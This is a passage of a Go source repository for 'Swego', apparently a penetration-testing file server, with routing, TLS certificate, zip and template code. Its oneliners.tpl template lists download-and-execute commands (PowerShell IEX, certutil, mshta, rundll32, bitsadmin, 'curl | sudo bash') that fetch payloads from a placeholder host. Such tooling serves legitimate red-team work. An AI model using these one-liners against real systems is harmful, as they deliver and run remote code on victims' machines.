r.PostForm and r.Form. 28 | if err := req.ParseForm(); err != nil { 29 | fmt.Fprintf(w, "ParseForm() err: %v", err) 30 | return 31 | } 32 | if cmd.Verbose { 33 | data, err := ioutil.ReadAll(req.Body) 34 | if err == nil && len(data) > 0 { 35 | fmt.Println(string(data)) 36 | } 37 | req.ParseForm() 38 | for key, value := range req.Form { 39 | fmt.Printf("%s => %s \n", key, value) 40 | } 41 | 42 | } 43 | controllers.UploadFile(w, req) 44 | 45 | default: 46 | fmt.Fprintf(w, "Sorry, only GET and POST methods are supported.") 47 | } 48 | } 49 | 50 | // Use function to implement middleware on the router 51 | // See https://gist.github.com/elithrar/7600878#comment-955958 for how to extend it to suit simple http.Handler's 52 | func Use(h http.HandlerFunc, middleware ...func(http.HandlerFunc) http.HandlerFunc) http.HandlerFunc { 53 | for _, m := range middleware { 54 | h = m(h) 55 | 56 | } 57 | return h 58 | } 59 | -------------------------------------------------------------------------------- /src/utils/certs.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/rsa" 6 | "crypto/tls" 7 | "crypto/x509" 8 | "crypto/x509/pkix" 9 | "fmt" 10 | "log" 11 | "math/big" 12 | "net/http" 13 | "time" 14 | 15 | "golang.org/x/crypto/acme/autocert" 16 | ) 17 | 18 | // Credits: https://github.com/kgretzky/pwndrop/blob/master/core/gen_cert.go 19 | func GenerateTLSSelfSignedCertificate(common string) (*tls.Certificate, error) { 20 | private_key, err := rsa.GenerateKey(rand.Reader, 2048) 21 | if err != nil { 22 | return nil, err 23 | } 24 | 25 | notBefore := time.Now() 26 | aYear := time.Duration(10*365*24) * time.Hour 27 | notAfter := notBefore.Add(aYear) 28 | serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) 29 | serialNumber, err := rand.Int(rand.Reader, serialNumberLimit) 30 | if err != nil { 31 | return nil, err 32 | } 33 | 34 | if common == "" { 35 | common = genRandomString(8) 36 | } 37 | 38 | template := x509.Certificate{ 39 | SerialNumber: serialNumber, 40 | Subject: pkix.Name{ 41 | Country: []string{}, 42 | Locality: []string{}, 43 | Organization: []string{}, 44 | OrganizationalUnit: []string{}, 45 | CommonName: common, 46 | }, 47 | NotBefore: notBefore, 48 | NotAfter: notAfter, 49 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, 50 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth}, 51 | BasicConstraintsValid: true, 52 | IsCA: false, 53 | } 54 | 55 | cert, err := x509.CreateCertificate(rand.Reader, &template, &template, &private_key.PublicKey, private_key) 56 | if err != nil { 57 | return nil, err 58 | } 59 | 60 | ret_tls := &tls.Certificate{ 61 | Certificate: [][]byte{cert}, 62 | PrivateKey: private_key, 63 | } 64 | return ret_tls, nil 65 | } 66 | 67 | func GenerateTLSLetsencryptCertificate(common string) (tls.Config, error) { 68 | fmt.Printf("Generating certificate for %s\n", common) 69 | certManager := autocert.Manager{ 70 | Prompt: autocert.AcceptTOS, 71 | HostPolicy: autocert.HostWhitelist(common), //Your domain here 72 | Cache: autocert.DirCache("certs"), //Folder for storing certificates 73 | } 74 | ret_tls := tls.Config{ 75 | GetCertificate: certManager.GetCertificate, 76 | } 77 | go func() { 78 | srv := &http.Server{ 79 | Addr: ":80", 80 | Handler: certManager.HTTPHandler(nil), 81 | IdleTimeout: time.Minute, 82 | ReadTimeout: 5 * time.Second, 83 | WriteTimeout: 10 * time.Second, 84 | } 85 | 86 | err := srv.ListenAndServe() 87 | log.Fatal(err) 88 | }() 89 | return ret_tls, nil 90 | } 91 | 92 | func genRandomString(n int) string { 93 | const lb = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 94 | b := make([]byte, n) 95 | for i := range b { 96 | t := make([]byte, 1) 97 | rand.Read(t) 98 | b[i] = lb[int(t[0])%len(lb)] 99 | } 100 | return string(b) 101 | } 102 | -------------------------------------------------------------------------------- /src/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "container/list" 6 | "fmt" 7 | "io" 8 | "io/ioutil" 9 | "log" 10 | "os" 11 | "path/filepath" 12 | "runtime" 13 | "strings" 14 | 15 | "github.com/yeka/zip" 16 | ) 17 | 18 | // Dirlisting to manages directory listings 19 | type Dirlisting struct { 20 | Name string 21 | ChildrenDir []string 22 | ChildrenFiles []string 23 | ServerUA string 24 | Embedded bool 25 | } 26 | 27 | // CopyToArray convert a list to a string 28 | func CopyToArray(src *list.List) []string { 29 | dst := make([]string, src.Len()) 30 | 31 | i := 0 32 | for e := src.Front(); e != nil; e = e.Next() { 33 | dst[i] = e.Value.(string) 34 | i = i + 1 35 | } 36 | 37 | return dst 38 | } 39 | 40 | // Min returns the minimum between two integer 41 | func Min(x int64, y int64) int64 { 42 | if x < y { 43 | return x 44 | } 45 | return y 46 | } 47 | 48 | // ParseCSV format. Use to parse the header Encoding 49 | func ParseCSV(data string) []string { 50 | splitted := strings.SplitN(data, ",", -1) 51 | 52 | dataTmp := make([]string, len(splitted)) 53 | 54 | for i, val := range splitted { 55 | dataTmp[i] = strings.TrimSpace(val) 56 | } 57 | 58 | return dataTmp 59 | } 60 | 61 | func ParseRange(data string) int64 { 62 | stop := (int64)(0) 63 | part := 0 64 | for i := 0; i < len(data) && part < 2; i = i + 1 { 65 | if part == 0 { 66 | if data[i] == '=' { 67 | part = 1 68 | } 69 | 70 | continue 71 | } 72 | 73 | if part == 1 { 74 | if data[i] == ',' || data[i] == '-' { 75 | part = 2 76 | } else { 77 | if 48 <= data[i] && data[i] <= 57 { 78 | // ... convert the char to integer and add it! 79 | stop = (stop * 10) + (((int64)(data[i])) - 48) 80 | } else { 81 | part = 2 82 | } 83 | } 84 | } 85 | } 86 | 87 | return stop 88 | } 89 | 90 | // AddfiletoZip will add a file to a zip file 91 | func AddfiletoZip(path string, f *os.File, zipw *zip.Writer, encrypted bool, password string) { 92 | filePathName := f.Name() 93 | 94 | body, err := ioutil.ReadFile(filePathName) 95 | if err != nil { 96 | log.Fatalf("unable to read file: %v", err) 97 | } 98 | 99 | //Create the file to the zip zipw 100 | var w io.Writer 101 | if encrypted { 102 | w, err = zipw.Encrypt(path, password, zip.StandardEncryption) 103 | } else { 104 | w, err = zipw.Create(path) 105 | } 106 | if err != nil { 107 | log.Fatal(err) 108 | } 109 | // Copy the data of the local file f into the zip 110 | _, err = io.Copy(w, bytes.NewReader(body)) 111 | if err != nil { 112 | log.Fatal(err) 113 | } 114 | zipw.Flush() 115 | return 116 | } 117 | 118 | func PathSubElem(parent, sub string) (bool, error) { 119 | up := ".." + string(os.PathSeparator) 120 | 121 | // path-comparisons using filepath.Abs don't work reliably according to docs (no unique representation). 122 | rel, err := filepath.Rel(parent, sub) 123 | if err != nil { 124 | return false, err 125 | } 126 | if !strings.HasPrefix(rel, up) && rel != ".." { 127 | return true, nil 128 | } 129 | return false, nil 130 | } 131 | 132 | // AddRicefiletoZip add a embedded file (rice file) to a zip 133 | //func AddRicefiletoZip(path string, f *rice.File, filePathName string, zipw *zip.Writer, encrypted bool, password string) { 134 | // // body, err := ioutil.ReadFile(filePathName) 135 | // statInfo, err := f.Stat() 136 | // if err != nil { 137 | // log.Println("500 Internal Error : stat() failure for the file: " + filePathName) 138 | // return 139 | // } 140 | // buf := make([]byte, statInfo.Size()) 141 | // var body []byte 142 | // // n := 0 143 | // for err == nil { 144 | // _, err = f.Read(buf) 145 | // body = append(body, buf...) 146 | // //output_writer.Write(body[0:n]) 147 | // } 148 | // 149 | // // if err != nil { 150 | // // log.Fatalf("unable to read file: %v", err) 151 | // // } 152 | // 153 | // //Create the file to the zip zipw 154 | // var w io.Writer 155 | // if encrypted { 156 | // w, err = zipw.Encrypt(path, password, zip.StandardEncryption) 157 | // } else { 158 | // w, err = zipw.Create(path) 159 | // } 160 | // if err != nil { 161 | // log.Fatal(err) 162 | // } 163 | // // Copy the data of the local file f into the zip 164 | // _, err = io.Copy(w, bytes.NewReader(body)) 165 | // if err != nil { 166 | // log.Fatal(err) 167 | // } 168 | // zipw.Flush() 169 | // return 170 | //} 171 | 172 | // FileExists checks if a file exists and is not a directory before we 173 | // try using it to prevent further errors. 174 | func FileExists(filename string) bool { 175 | info, err := os.Stat(filename) 176 | if os.IsNotExist(err) { 177 | return false 178 | } 179 | return !info.IsDir() 180 | } 181 | 182 | // ZipDirectory will create a zip file from a directory 183 | func ZipDirectory(f *os.File, encrypted bool) string { 184 | // Absolute path to the directory 185 | directoryPathName := f.Name() 186 | statinfo, _ := f.Stat() 187 | 188 | // Name of the diretory to download 189 | directoryName := statinfo.Name() 190 | 191 | // Create the zip file 192 | zipFile, err := os.Create(directoryPathName + "/" + directoryName + ".zip") 193 | if err != nil { 194 | log.Fatalln("os.Create: " + err.Error()) 195 | } 196 | zipFilePath := zipFile.Name() 197 | zipw := zip.NewWriter(zipFile) 198 | 199 | // Iterate recursively in the folder folderPathName 200 | err = filepath.Walk(directoryPathName, 201 | func(path string, info os.FileInfo, err error) error { 202 | // Take the relative path from the root directory of the web server 203 | // Windows trick 204 | if runtime.GOOS == "windows" { 205 | directoryPathName = strings.Replace(directoryPathName, "/", "\\", -1) 206 | path = strings.Replace(path, "/", "\\", -1) 207 | } 208 | zipPath := directoryName + strings.SplitAfter(path, directoryPathName)[1] 209 | 210 | if err != nil { 211 | return err 212 | } 213 | 214 | // Don't add folder and the zip itself 215 | if !info.IsDir() && info.Name() != directoryName+".zip" { 216 | // Open the file to zip 217 | f, err = os.Open(path) 218 | 219 | if err != nil { 220 | return err 221 | } 222 | 223 | AddfiletoZip(zipPath, f, zipw, encrypted, "infected") 224 | } 225 | return nil 226 | }) 227 | zipw.Close() 228 | if err != nil { 229 | log.Println("walk directory zip: " + err.Error()) 230 | } 231 | 232 | return zipFilePath 233 | } 234 | 235 | // SearchAndReplace function in the byte slice 236 | func SearchAndReplace(SearchAndReplaceMap map[string]string, buf []byte) []byte { 237 | if len(SearchAndReplaceMap) > 0 { 238 | for searchAndReplaceOld, searchAndReplaceNew := range SearchAndReplaceMap { 239 | buf = bytes.ReplaceAll(buf, []byte(searchAndReplaceOld), []byte(searchAndReplaceNew)) 240 | } 241 | } 242 | return buf 243 | } 244 | 245 | // Check if there is an error 246 | func Check(e error, customMessage string) { 247 | if e != nil { 248 | fmt.Println(customMessage) 249 | panic(e) 250 | } 251 | } 252 | 253 | // StringInSlice returns true if the string is present in the slice, otherwise false 254 | func StringInSlice(sliceStr []string, str string) bool { 255 | for _, value := range sliceStr { 256 | if value == str { 257 | return true 258 | } 259 | } 260 | return false 261 | } 262 | -------------------------------------------------------------------------------- /src/views/directoryListing.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Index of {{.Name}} 6 | 23 | 24 | 25 |

Index of {{.Name}}

26 | {{ if not .Embedded }} 27 | → Embedded files 28 |
29 |
30 |
31 | {{ end }} 32 | New Directory 33 |
34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | {{range .ChildrenDir}} 49 | 50 | 51 | 52 | 53 | 54 | {{end}} 55 | {{range .ChildrenFiles}} 56 | 57 | {{ if $.Embedded }} 58 | 59 | 60 | 61 | {{ else }} 62 | 63 | 64 | 65 | {{ end }} 66 | 67 | {{end}} 68 | 69 |
NameTypeOptions
Parent Directory/Directory
{{.}}/DirectoryDownload | Delete | encrypted zip (pwd: infected)
{{.}} Download | encrypted zip (pwd: infected){{.}} Download | Delete | encrypted zip (pwd: infected)
70 |
71 |
{{.ServerUA}}
72 | 73 | 74 | -------------------------------------------------------------------------------- /src/views/oneliners.tpl: -------------------------------------------------------------------------------- 1 | {{ define "oneliners" }} 2 | ----- Windows ----- 3 | 4 | {{ "Powershell:" | faint }} powershell -exec bypass -c IEX (iwr '[PROTO]://[IP]:[PORT]/{{ .Path }}') 5 | {{ "Powershell:" | faint }} powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('[PROTO]://[IP]:[PORT]/{{ .Path }}')|iex" 6 | {{ "certutil:" | faint }} certutil -urlcache -split -f [PROTO]://[IP]:[PORT]/{{ .Path }} payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe 7 | {{ "rundll32:" | faint }} rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:mshta [PROTO]://[IP]:[PORT]/{{ .Path }});window.close(); 8 | {{ "mshta:" | faint }} mshta vbscript:Close(Execute("GetObject(""script:[PROTO]://[IP]:[PORT]/{{ .Path }}"")")) 9 | {{ "mshta:" | faint }} mshta [PROTO]://[IP]:[PORT]/{{ .Path }} 10 | {{ "bitsadmin:" | faint }} bitsadmin /transfer mydownloadjob /download /priority normal [PROTO]://[IP]:[PORT]/{{ .Path }} C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe 11 | 12 | ----- Linux ----- 13 | {{ "Bash:" | faint }} : curl -L [PROTO]://[IP]:[PORT]/{{ .Path }} | sudo bash 14 | {{ end }} 15 | 16 | --------- Oneliners ---------- 17 | {{ "Name:" | faint }} {{ .Name }} 18 | {{ "Path:" | faint }} {{ .Path }} 19 | {{ "Oneliners:" | faint }} 20 | {{ template "oneliners" . }} 21 | 22 | -------------------------------------------------------------------------------- /src/views/upload.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Upload in {{.Directory}} 6 | 20 | 25 | 26 | 27 |

Upload in {{.Directory}}

28 |
29 | 30 |
31 |
{{.ServerUA}}
32 | 33 | 34 | -------------------------------------------------------------------------------- /src/views/views.go: -------------------------------------------------------------------------------- 1 | package views 2 | 3 | import "embed" 4 | 5 | //go:embed *.tpl 6 | var views embed.FS 7 | 8 | func GetViews(filename string) ([]byte, error) { 9 | return views.ReadFile(filename) 10 | } 11 | -------------------------------------------------------------------------------- /src/webserver.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2021 NAME HERE 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | package main 17 | 18 | import ( 19 | "Swego/src/cmd" 20 | "Swego/src/controllers" 21 | "Swego/src/routers" 22 | "crypto/tls" 23 | "fmt" 24 | "log" 25 | "net/http" 26 | "strconv" 27 | "time" 28 | ) 29 | 30 | func main() { 31 | cmd.Execute() 32 | if cmd.Web { 33 | if cmd.Oneliners { 34 | go controllers.CliOnelinersMenu() 35 | } 36 | 37 | bind := strconv.Itoa(cmd.Bind) 38 | http.Handle("/", routers.Use(routers.Router, controllers.IPFiltering, controllers.BasicAuth)) 39 | fmt.Printf("Sharing %s on %s:%s ...\n", cmd.RootFolder, cmd.IP, bind) 40 | if cmd.PrivateFolder != "" { 41 | http.Handle("/private/", routers.Use(routers.Router, controllers.IPFiltering, controllers.BasicAuth)) 42 | fmt.Printf("Sharing private %s on %s:%s ...\n", cmd.PrivateFolder, cmd.IP, bind) 43 | } 44 | var err error 45 | // Check if HTTPS or not 46 | if cmd.TLS { 47 | 48 | srv := &http.Server{ 49 | Addr: cmd.IP + ":" + bind, 50 | WriteTimeout: 0, 51 | ReadTimeout: 0, 52 | IdleTimeout: 5 * time.Second, 53 | TLSConfig: &cmd.TLSConfig, 54 | } 55 | listenTLS, err := tls.Listen("tcp", cmd.IP+":"+bind, &cmd.TLSConfig) 56 | if err != nil { 57 | log.Fatal("Error starting listening for the webserver: " + err.Error()) 58 | } 59 | err = srv.Serve(listenTLS) 60 | if err != nil { 61 | log.Fatal("Error starting the webserver: " + err.Error()) 62 | } 63 | } else { 64 | err = http.ListenAndServe(cmd.IP+":"+bind, nil) 65 | } 66 | if err != nil { 67 | log.Fatal("ListenAndServe: ", err) 68 | } 69 | } //else if cmd.Run { 70 | //if cmd.Binary != "" { 71 | //controllers.RunEmbeddedBinary(cmd.Binary, cmd.Args) 72 | //} else { 73 | //fmt.Println(controllers.EmbeddedFiles()) 74 | // } 75 | //} 76 | } 77 | --------------------------------------------------------------------------------